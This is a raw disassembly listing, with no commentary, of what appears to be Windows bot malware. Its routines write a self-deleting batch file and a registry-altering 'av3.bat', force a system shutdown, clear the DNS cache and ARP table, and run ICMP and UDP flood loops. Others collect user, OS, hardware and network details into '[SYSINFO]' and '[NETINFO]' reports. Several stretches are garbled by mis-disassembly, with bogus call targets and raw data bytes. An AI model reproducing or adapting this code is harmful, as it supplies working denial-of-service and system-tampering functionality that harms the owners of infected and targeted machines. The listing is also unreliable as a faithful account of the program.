jz short loc_4070B2
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
call near ptr 1310004h
mov bh, 56h
call ebx ; CloseHandle
loc_4070B2: ; CODE XREF: sub_407013+2Aj
; sub_407013+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_407013 endp
; =============== S U B R O U T I N E =======================================
sub_4070B7 proc near ; CODE XREF: seg000:0040A335p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_40F382
pop ecx
pop ecx
push 50005h
push 6
call ds:dword_4306EC ; ExitWindowsEx
neg eax
sbb eax, eax
neg eax
retn
sub_4070B7 endp
; ---------------------------------------------------------------------------
loc_4070D9: ; CODE XREF: seg000:0040DC4Fp
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp ds:dword_423008, esi
push edi
jz short loc_4070FD
cmp ds:dword_430860, esi
jnz short loc_4070FD
push esi
call sub_40801D
pop ecx
loc_4070FD: ; CODE XREF: seg000:004070ECj
; seg000:004070F4j
call sub_410180
lea eax, [ebp-764h]
push eax
push 400h
call near ptr 3E0000h
xchg eax, esp
lea eax, [ebp-764h]
push eax
lea eax, [ebp-260h]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41050B
add esp, 0Ch
lea eax, [ebp-260h]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_41C078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe loc_40725D
lea eax, [ebp-260h]
push eax
lea eax, [ebp-764h]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41050B
add esp, 0Ch
lea eax, [ebp-4]
push esi
push eax
lea eax, [ebp-764h]
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp-764h]
push eax
push edi
call near ptr 3E0000h
jz short near ptr byte_4071E5
call ds:dword_41C070 ; CloseHandle
push 10h
lea eax, [ebp-14h]
push esi
push eax
call sub_410590
push 44h
lea eax, [ebp-58h]
pop edi
push edi
push esi
push eax
call sub_410590
add esp, 18h
mov [ebp-58h], edi
mov edi, 104h
lea eax, [ebp-15Ch]
push edi
push eax
push esi
mov dword ptr [ebp-4Ch], offset dword_42F3E8
mov dword ptr [ebp-2Ch], 1
mov [ebp-28h], si
call near ptr 3E0000h
dec esp
push eax
call near ptr 3E0000h
sbb eax, 0FEA4858Dh
; ---------------------------------------------------------------------------
byte_4071E5 db 2 dup(0FFh), 50h ; CODE XREF: seg000:0040718Cj
dd 0C07C15FFh, 0F8830041h, 8D1274FFh, 0FFFEA485h, 8068FFh
dd 0E8500000h, 0FFFD8DFCh, 0A4858D1Dh, 50FFFFFEh, 0FDA0858Dh
dd 8D50FFFFh, 0FFF89C85h, 105868FFh, 0E8500042h, 92E7h
dd 8D10C483h, 0FFFC9C85h, 8D5057FFh, 0FFF89C85h, 0C5E850FFh
dd 0D3FFFD8Dh, 50EC458Dh, 50A8458Dh, 8685656h, 6A000040h
dd 858D5601h, 0FFFFFC9Ch, 0E8565056h, 0FFFD8DA4h
db 0D3h
; ---------------------------------------------------------------------------
loc_40725D: ; CODE XREF: seg000:0040714Bj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407261 proc near ; CODE XREF: seg000:00408B19p
var_1860 = byte ptr -1860h
var_158 = byte ptr -158h
var_58 = byte ptr -58h
var_48 = dword ptr -48h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_4 = byte ptr -4
push ebp
mov ebp, esp
mov eax, 1860h
call sub_410BE0
push esi
push edi
mov ecx, 5C1h
mov esi, offset a@echoOffEchoRe ; "@echo off\r\nEcho REGEDIT4>%temp%\\1.reg\r\n"...
lea edi, [ebp+var_1860]
lea eax, [ebp+var_158]
rep movsd
movsw
push offset aCAv3_bat ; "c:\\av3.bat"
push eax
movsb
call sub_41050B
pop ecx
xor esi, esi
pop ecx
lea eax, [ebp+var_158]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call ds:dword_41C078 ; CreateFileA
mov edi, eax
cmp edi, esi
jbe short near ptr loc_40731A+1
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_1860]
push eax
call sub_410B60
pop ecx
push eax
lea eax, [ebp+var_1860]
push eax
push edi
call near ptr 0D80004h
push eax
push edi
call ds:dword_41C070 ; CloseHandle
push 44h
lea eax, [ebp+var_48]
pop edi
push edi
push esi
push eax
call sub_410590
add esp, 0Ch
lea ecx, [ebp+var_58]
mov [ebp+var_48], edi
mov [ebp+var_18], si
push 1
pop eax
push ecx
lea ecx, [ebp+var_48]
push ecx
push esi
push esi
push 28h
mov [ebp+var_1C], eax
push eax
push esi
lea eax, [ebp+var_158]
push esi
push eax
push esi
call near ptr 0DA0004h
loc_40731A: ; CODE XREF: sub_407261+55j
lock pop edi
pop esi
leave
retn
sub_407261 endp
; =============== S U B R O U T I N E =======================================
sub_40731F proc near ; CODE XREF: sub_4013E9+7p
; sub_401B7C+7p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call ds:dword_4307D0 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short locret_407347
push [esp+arg_0]
call ds:dword_430814 ; gethostbyname
test eax, eax
jnz short loc_407340
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_407340: ; CODE XREF: sub_40731F+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_407347: ; CODE XREF: sub_40731F+Dj
retn
sub_40731F endp
; =============== S U B R O U T I N E =======================================
sub_407348 proc near ; CODE XREF: sub_4090B0+D6p
mov ecx, ds:dword_4306CC
xor eax, eax
test ecx, ecx
jz short locret_407356
call ecx ; DnsFlushResolverCache
locret_407356: ; CODE XREF: sub_407348+Aj
retn
sub_407348 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407357 proc near ; CODE XREF: seg000:loc_40D9D5p
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call ds:dword_43080C ; GetIpNetTable
mov ecx, eax
sub ecx, edi
jz loc_40741D
sub ecx, 32h
jz loc_407416
sub ecx, 48h
jz short loc_4073B7
sub ecx, 6Eh
jz short loc_4073B0
loc_407399: ; CODE XREF: sub_407357+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_422894
push eax
call sub_41050B
add esp, 0Ch
jmp short loc_4073F7
; ---------------------------------------------------------------------------
loc_4073B0: ; CODE XREF: sub_407357+40j
push offset unk_42285C
jmp short loc_4073E9
; ---------------------------------------------------------------------------
loc_4073B7: ; CODE XREF: sub_407357+3Bj
push [ebp+var_8]
call sub_410C0F
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_410590
add esp, 10h
cmp esi, edi
jz short loc_4073E4
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call ds:dword_43080C ; GetIpNetTable
cmp eax, edi
jz short loc_40741D
jmp short loc_407399
; ---------------------------------------------------------------------------
loc_4073E4: ; CODE XREF: sub_407357+79j
push offset unk_422818
loc_4073E9: ; CODE XREF: sub_407357+5Ej
; sub_407357+C4j
lea eax, [ebp+var_88]
push eax
call sub_41050B
pop ecx
pop ecx
loc_4073F7: ; CODE XREF: sub_407357+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_407E0E
pop ecx
loc_407407: ; CODE XREF: sub_407357+C8j
; sub_407357+DCj
push esi
call sub_410C83
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_407416: ; CODE XREF: sub_407357+32j
push offset unk_4227D4
jmp short loc_4073E9
; ---------------------------------------------------------------------------
loc_40741D: ; CODE XREF: sub_407357+29j
; sub_407357+89j
cmp [esi], edi
jbe short loc_407407
lea ebx, [esi+4]
loc_407424: ; CODE XREF: sub_407357+DAj
push ebx
call ds:dword_430808 ; DeleteIpNetEntry
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_407424
jmp short loc_407407
sub_407357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407435 proc near ; CODE XREF: seg000:00401E3Ep
; sub_402B8D+4Ep ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call ds:dword_43073C ; getsockname
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_430AC4
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41050B
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_407435 endp
; =============== S U B R O U T I N E =======================================
sub_40748E proc near ; CODE XREF: seg000:00401A92p
; seg000:00401AD8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_4074B7
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_4074AA: ; CODE XREF: sub_40748E+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_4074AA
pop edi
jmp short loc_4074BB
; ---------------------------------------------------------------------------
loc_4074B7: ; CODE XREF: sub_40748E+Aj
mov edx, [esp+4+arg_0]
loc_4074BB: ; CODE XREF: sub_40748E+27j
test esi, esi
pop esi
jz short loc_4074C5
movzx ecx, byte ptr [edx]
add eax, ecx
loc_4074C5: ; CODE XREF: sub_40748E+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40748E endp
; ---------------------------------------------------------------------------
loc_4074DB: ; DATA XREF: seg000:0040B824o
push ebp
mov ebp, esp
mov eax, 10320h
call sub_410BE0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp-144h]
rep movsd
push 1
pop edi
mov [eax+120h], edi
call ds:dword_430728 ; IcmpCreateFile
mov [ebp+8], eax
lea eax, [ebp-0C0h]
push eax
call ds:dword_4307D0 ; inet_addr
mov esi, eax
xor ebx, ebx
xor eax, eax
cmp esi, 0FFFFFFFFh
jnz short loc_407536
lea eax, [ebp-0C0h]
push eax
call ds:dword_430814 ; gethostbyname
cmp eax, ebx
jz short loc_40753C
loc_407536: ; CODE XREF: seg000:00407523j
cmp dword ptr [ebp+8], 0FFFFFFFFh
jnz short near ptr loc_407598+1
loc_40753C: ; CODE XREF: seg000:00407534j
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_422918
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_40757C
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_40E367
add esp, 14h
loc_40757C: ; CODE XREF: seg000:0040755Aj
lea eax, [ebp-344h]
push eax
call sub_407E0E
push dword ptr [ebp-30h]
call sub_4102D3
pop ecx
pop ecx
push edi
call near ptr 3E0000h
loc_407598: ; CODE XREF: seg000:0040753Aj
adc bh, [ebx]
retn
; ---------------------------------------------------------------------------
jz short loc_4075A9
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-4], eax
jmp short loc_4075AC
; ---------------------------------------------------------------------------
loc_4075A9: ; CODE XREF: seg000:0040759Bj
mov [ebp-4], esi
loc_4075AC: ; CODE XREF: seg000:004075A7j
push 1Ch
lea eax, [ebp-20h]
push ebx
push eax
call sub_410590
or dword ptr [ebp-18h], 0FFFFFFFFh
mov eax, 0FFDCh
add esp, 0Ch
cmp [ebp-3Ch], eax
jle short loc_4075CC
mov [ebp-3Ch], eax
loc_4075CC: ; CODE XREF: seg000:004075C7j
cmp [ebp-38h], edi
jge short loc_4075D4
mov [ebp-38h], edi
loc_4075D4: ; CODE XREF: seg000:004075CFj
xor esi, esi
cmp [ebp-40h], ebx
jle short loc_407601
loc_4075DB: ; CODE XREF: seg000:004075FFj
push dword ptr [ebp-38h]
lea eax, [ebp-20h]
push 1Ch
push eax
push ebx
lea eax, [ebp-10320h]
push dword ptr [ebp-3Ch]
push eax
push dword ptr [ebp-4]
push dword ptr [ebp+8]
call ds:dword_4306C8 ; IcmpSendEcho
inc esi
cmp esi, [ebp-40h]
jl short loc_4075DB
loc_407601: ; CODE XREF: seg000:004075D9j
push dword ptr [ebp+8]
call ds:dword_430848 ; IcmpCloseHandle
lea eax, [ebp-0C0h]
push eax
lea eax, [ebp-344h]
push offset unk_4228D8
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-28h], ebx
jnz short loc_40764A
push ebx
lea eax, [ebp-344h]
push dword ptr [ebp-2Ch]
push eax
lea eax, [ebp-140h]
push eax
push dword ptr [ebp-144h]
call sub_40E367
add esp, 14h
loc_40764A: ; CODE XREF: seg000:00407628j
lea eax, [ebp-344h]
push eax
call sub_407E0E
push dword ptr [ebp-30h]
call sub_4102D3
pop ecx
pop ecx
push ebx
call near ptr 3E0000h
stosd
loc_407667: ; DATA XREF: seg000:0040B96Eo
push ebp
mov ebp, esp
mov eax, 10310h
call sub_410BE0
mov eax, [ebp+8]
push ebx
push esi
push edi
push 49h
mov esi, eax
pop ecx
lea edi, [ebp-134h]
rep movsd
push 1
pop esi
mov [eax+120h], esi
call ds:dword_41C04C ; GetTickCount
push eax
call sub_41055D
pop ecx
push 11h
push 2
push 2
call ds:dword_430810 ; socket
mov ebx, eax
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp-0B0h]
mov word ptr [ebp-10h], 2
push eax
call ds:dword_4307D0 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jnz short near ptr loc_40774B+1
lea eax, [ebp-0B0h]
push eax
call ds:dword_430814 ; gethostbyname
cmp eax, edi
jnz short near ptr loc_407744+1
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-334h]
push offset dword_422994
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-18h], edi
jnz short loc_407728
push edi
lea eax, [ebp-334h]
push dword ptr [ebp-1Ch]
push eax
lea eax, [ebp-130h]
push eax
push dword ptr [ebp-134h]
call sub_40E367
add esp, 14h
loc_407728: ; CODE XREF: seg000:00407706j
lea eax, [ebp-334h]
push eax
call sub_407E0E
push dword ptr [ebp-20h]
call sub_4102D3
pop ecx
pop ecx
push esi
call near ptr 3E0000h
loc_407744: ; CODE XREF: seg000:004076E6j
mov al, 8Bh
inc eax
or al, 8Bh
add bl, ch
loc_40774B: ; CODE XREF: seg000:004076D5j
add ecx, [ebp+8B0845h]
cmp [ebp-24h], edi
mov [ebp-0Ch], eax
jnz short loc_40776A
call sub_410567
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
jmp short loc_40776D
; ---------------------------------------------------------------------------
loc_40776A: ; CODE XREF: seg000:00407757j
push dword ptr [ebp-24h]
loc_40776D: ; CODE XREF: seg000:00407768j
call ds:dword_430794 ; ntohs
cmp [ebp-24h], esi
mov [ebp-0Eh], ax
jge short loc_40777F
mov [ebp-24h], esi
loc_40777F: ; CODE XREF: seg000:0040777Aj
mov eax, 0FFFFh
cmp [ebp-24h], eax
jle short loc_40778C
mov [ebp-24h], eax
loc_40778C: ; CODE XREF: seg000:00407787j
mov eax, [ebp-30h]
push 0Ah
cdq
pop ecx
idiv ecx
cmp [ebp-28h], edi
mov [ebp-30h], eax
jnz short loc_4077A0
mov [ebp-28h], esi
loc_4077A0: ; CODE XREF: seg000:0040779Bj
xor esi, esi
cmp [ebp-2Ch], edi
jle short loc_4077C1
loc_4077A7: ; CODE XREF: seg000:004077BFj
call sub_410567
cdq
mov ecx, 0FFh
idiv ecx
inc esi
cmp esi, [ebp-2Ch]
mov [ebp+esi-10311h], dl
jl short loc_4077A7
loc_4077C1: ; CODE XREF: seg000:004077A5j
; seg000:00407803j ...
mov eax, [ebp-30h]
dec dword ptr [ebp-30h]
test eax, eax
jle short loc_407820
push 0Bh
pop esi
loc_4077CE: ; CODE XREF: seg000:004077FEj
lea eax, [ebp-10h]
push 10h
push eax
push edi
call sub_410567
push 0Ah
cdq
pop ecx
idiv ecx
mov eax, [ebp-2Ch]
sub eax, edx
push eax
lea eax, [ebp-10310h]
push eax
push ebx
call ds:dword_4307F4 ; sendto
push dword ptr [ebp-28h]
call ds:dword_41C058 ; Sleep
dec esi
jnz short loc_4077CE
cmp [ebp-24h], edi
jnz short loc_4077C1
call sub_410567
cdq
mov ecx, 0FFDCh
idiv ecx
inc edx
push edx
call ds:dword_430794 ; ntohs
mov [ebp-0Eh], ax
jmp short loc_4077C1
; ---------------------------------------------------------------------------
loc_407820: ; CODE XREF: seg000:004077C9j
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-334h]
push offset dword_422954
push eax
call sub_41050B
add esp, 0Ch
cmp [ebp-18h], edi
jnz short loc_407860
push edi
lea eax, [ebp-334h]
push dword ptr [ebp-1Ch]
push eax
lea eax, [ebp-130h]
push eax
push dword ptr [ebp-134h]
call sub_40E367
add esp, 14h
loc_407860: ; CODE XREF: seg000:0040783Ej
lea eax, [ebp-334h]
push eax
call sub_407E0E
push dword ptr [ebp-20h]
call sub_4102D3
pop ecx
pop ecx
push edi
call near ptr 3E0000h
stc
; =============== S U B R O U T I N E =======================================
sub_40787D proc near ; CODE XREF: sub_404EB9+74p
; sub_40799C+217p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call ds:dword_41C04C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_430AD8
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_410A8A
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_40787D endp
; =============== S U B R O U T I N E =======================================
sub_4078E6 proc near ; CODE XREF: sub_40799C+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_4078EE: ; CODE XREF: sub_4078E6+2Fj
; sub_4078E6+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call ds:dword_41C058 ; Sleep
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_412180
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_4078EE
jb short loc_40791D
cmp ebx, esi
ja short loc_4078EE
loc_40791D: ; CODE XREF: sub_4078E6+31j
push 0
push 64h
push edi
push ebx
call sub_412100
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_407990
jb short loc_40793C
cmp esi, 50h
jnb short loc_407941
loc_40793C: ; CODE XREF: sub_4078E6+4Fj
push 4Bh
xor edx, edx
pop eax
loc_407941: ; CODE XREF: sub_4078E6+54j
test ecx, ecx
ja short loc_407990
jb short loc_40794C
cmp esi, 47h
jnb short loc_407951
loc_40794C: ; CODE XREF: sub_4078E6+5Fj
push 42h
xor edx, edx
pop eax
loc_407951: ; CODE XREF: sub_4078E6+64j
test ecx, ecx
ja short loc_407990
jb short loc_40795C
cmp esi, 37h
jnb short loc_407961
loc_40795C: ; CODE XREF: sub_4078E6+6Fj
push 32h
xor edx, edx
pop eax
loc_407961: ; CODE XREF: sub_4078E6+74j
test ecx, ecx
ja short loc_407990
jb short loc_40796C
cmp esi, 26h
jnb short loc_407971
loc_40796C: ; CODE XREF: sub_4078E6+7Fj
push 21h
xor edx, edx
pop eax
loc_407971: ; CODE XREF: sub_4078E6+84j
test ecx, ecx
ja short loc_407990
jb short loc_40797C
cmp esi, 1Eh
jnb short loc_407981
loc_40797C: ; CODE XREF: sub_4078E6+8Fj
push 19h
xor edx, edx
pop eax
loc_407981: ; CODE XREF: sub_4078E6+94j
test ecx, ecx
ja short loc_407990
jb short loc_40798C
cmp esi, 0Ah
jnb short loc_407990
loc_40798C: ; CODE XREF: sub_4078E6+9Fj
xor eax, eax
xor edx, edx
loc_407990: ; CODE XREF: sub_4078E6+4Dj
; sub_4078E6+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_4078E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40799C proc near ; CODE XREF: seg000:0040DC69p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset dword_42F3E8
mov [ebp+var_CC], 94h
call ds:dword_41C0EC ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_407A23
cmp [ebp+var_C4], ebx
jnz short loc_4079FF
cmp [ebp+var_BC], 1
jnz short loc_4079E9
mov [ebp+var_4], offset a95 ; "95"
loc_4079E9: ; CODE XREF: sub_40799C+44j
cmp [ebp+var_BC], 2
jnz loc_407A9E
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_407A6F
; ---------------------------------------------------------------------------
loc_4079FF: ; CODE XREF: sub_40799C+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_407A11
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_407A66
; ---------------------------------------------------------------------------
loc_407A11: ; CODE XREF: sub_40799C+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_407A5F
mov [ebp+var_4], offset aMe ; "ME"
jmp short loc_407A66
; ---------------------------------------------------------------------------
loc_407A23: ; CODE XREF: sub_40799C+33j
cmp [ebp+var_C8], 5
jnz short loc_407A5F
cmp [ebp+var_C4], ebx
jnz short loc_407A3D
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_407A66
; ---------------------------------------------------------------------------
loc_407A3D: ; CODE XREF: sub_40799C+96j
cmp [ebp+var_C4], 1
jnz short loc_407A4F
mov [ebp+var_4], offset aXp ; "XP"
jmp short loc_407A66
; ---------------------------------------------------------------------------
loc_407A4F: ; CODE XREF: sub_40799C+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_407A66
loc_407A5F: ; CODE XREF: sub_40799C+7Cj
; sub_40799C+8Ej
mov [ebp+var_4], offset dword_422AE4
loc_407A66: ; CODE XREF: sub_40799C+73j
; sub_40799C+85j ...
cmp [ebp+var_BC], 2
jnz short loc_407A9E
loc_407A6F: ; CODE XREF: sub_40799C+61j
cmp [ebp+var_B8], bl
jz short loc_407A9E
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_422ADC
push eax
call sub_41050B
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_407A9E: ; CODE XREF: sub_40799C+54j
; sub_40799C+D1j ...
mov ax, ds:word_422AD8
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, ds:dword_430690
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_407AD7
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_407AD7: ; CODE XREF: sub_40799C+12Cj
push [ebp+arg_4]
call sub_407435
pop ecx
push eax
call ds:dword_4307D0 ; inet_addr
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call ds:dword_430750 ; gethostbyaddr
cmp eax, ebx
jz short loc_407B00
push dword ptr [eax]
jmp short loc_407B05
; ---------------------------------------------------------------------------
loc_407B00: ; CODE XREF: sub_40799C+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_407B05: ; CODE XREF: sub_40799C+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41050B
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call near ptr 3E0000h
xchg eax, edx
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call near ptr 3E0000h
insd
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
call near ptr 3E0000h
fldcw word ptr [edx+20h]
lea eax, [ebp+var_38]
push ebx
push eax
call sub_410590
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call near ptr 3E0000h
loope near ptr loc_407BC3+2
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_4121E8
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_40878B
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_40787D
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
loc_407BC3: ; CODE XREF: sub_40799C+1D4j
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_407435
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_40867B
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_40867B
pop ecx
pop ecx
push eax
call sub_4078E6
push edx
push eax
push offset aSysinfoCpuI64u ; "[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...
push 200h
push [ebp+arg_0]
call sub_410A8A
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_40799C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407C50 proc near ; CODE XREF: seg000:0040CE6Fp
; seg000:0040DC97p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_410590
add esp, 0Ch
cmp ds:dword_430878, 0
jnz short loc_407CC4
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call ds:dword_430678 ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_407CA5
lea eax, [ebp+var_8C]
push offset dword_422B58
push eax
call sub_41050B
pop ecx
pop ecx
loc_407CA5: ; CODE XREF: sub_407C50+40j
test [ebp+var_C], 1
jz short loc_407CBD
push offset dword_422B50
loc_407CB0: ; CODE XREF: sub_407C50+72j
lea eax, [ebp+var_8]
push eax
call sub_41050B
pop ecx
pop ecx
jmp short loc_407CE3
; ---------------------------------------------------------------------------
loc_407CBD: ; CODE XREF: sub_407C50+59j
push offset dword_422B4C
jmp short loc_407CB0
; ---------------------------------------------------------------------------
loc_407CC4: ; CODE XREF: sub_407C50+28j
mov esi, offset off_422B48
lea eax, [ebp+var_8]
push esi
push eax
call sub_41050B
lea eax, [ebp+var_8C]
push esi
push eax
call sub_41050B
add esp, 10h
loc_407CE3: ; CODE XREF: sub_407C50+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_407435
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset aNetinfoTypeSS_ ; "[NETINFO]: [Type]: %s (%s). [IP Address"...
push 200h
push [ebp+arg_0]
call sub_410A8A
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_407C50 endp
